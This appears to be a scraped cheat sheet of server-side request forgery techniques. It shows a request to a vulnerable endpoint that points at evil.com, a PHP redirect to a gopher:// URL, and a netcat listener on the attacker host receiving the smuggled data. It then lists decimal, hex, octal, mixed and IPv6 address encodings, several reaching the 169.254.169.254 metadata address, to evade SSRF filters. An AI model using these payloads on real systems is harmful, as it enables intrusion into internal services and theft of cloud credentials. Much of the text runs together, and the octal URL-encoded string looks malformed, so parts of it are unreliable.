http://safebuff.com/ssrf.php?url=http://evil.com/gopher.php
//Response
<?php
header('Location: gopher://evil.com:12346/_HI%0AMultiline%0Atest');
?>
//Commands
evil.com:# nc -v -l 12346
Listening on [0.0.0.0] (family 0, port 12346)
Connection from [192.168.0.10] port 12346 [tcp/*] accepted (family 2, sport 49398)
HI
Multiline
test
$ ping 127.1PING 127.1 (127.0.0.1): 56 data bytes64 bytes from 127.0.0.1: icmp\_seq=0 ttl=64 time=0.033 ms64 bytes from 127.0.0.1: icmp\_seq=1 ttl=64 time=0.085 ms
Overflowing the IP address:
$ ping 10.0.513PING 10.0.513 (10.0.2.1): 56 data bytes64 bytes from 10.0.2.1: icmp\_seq=0 ttl=61 time=10.189 ms64 bytes from 10.0.2.1: icmp\_seq=1 ttl=61 time=58.119 ms
Decimal IP notation:
$ ping 167772673
PING 167772673 (10.0.2.1): 56 data bytes
64 bytes from 10.0.2.1: icmp\_seq=0 ttl=61 time=15.441 ms
64 bytes from 10.0.2.1: icmp\_seq=1 ttl=61 time=4.627 ms
Hex IP notation:
$ ping 0xA000201PING 0xA000201 (10.0.2.1): 56 data bytes64 bytes from 10.0.2.1: icmp\_seq=0 ttl=61 time=7.329 ms64 bytes from 10.0.2.1: icmp\_seq=1 ttl=61 time=18.350 ms$ ping 0x7f.0x00.0x00.0x01PING 0x7f.0x00.0x00.0x01 (127.0.0.1) 56(84) bytes of data.64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.045 ms$ ping 0x7f.0x010001PING 0x7f.0x010001 (127.1.0.1) 56(84) bytes of data.64 bytes from 127.1.0.1: icmp_seq=1 ttl=64 time=0.040 ms64 bytes from 127.1.0.1: icmp_seq=2 ttl=64 time=0.063 ms
Octal IP notation:
$ ping 10.0.2.010PING 10.0.2.010 (10.0.2.8): 56 data bytes$ ping 010.002000010PING 010.002000010 (8.8.0.8) 56(84) bytes of data$ ping 0251.00376.000251.0000376PING 0251.00376.000251.0000376 (169.254.169.254) 56(84) bytes of data.
Notice how that last .010 octet gets translated to .8?
Octal URL Encoded:
%334%368%366%34%33%375
Mixed Encoding:
$ ping 0251.0xfe.43518 PING 0251.0xfe.43518 (169.254.169.254) 56(84) bytes of data.
IPV6 address mappings:
#http://[::ffff:169.254.169.254]/#http://[::169.254.169.254]/>>> ping ::1PING ::1(::1) 56 data bytes64 bytes from ::1: icmp_seq=1 ttl=64 time=0.039 ms64 bytes from ::1: icmp_seq=2 ttl=64 time=0.065 ms>>> ping ::PING ::(::) 56 data bytes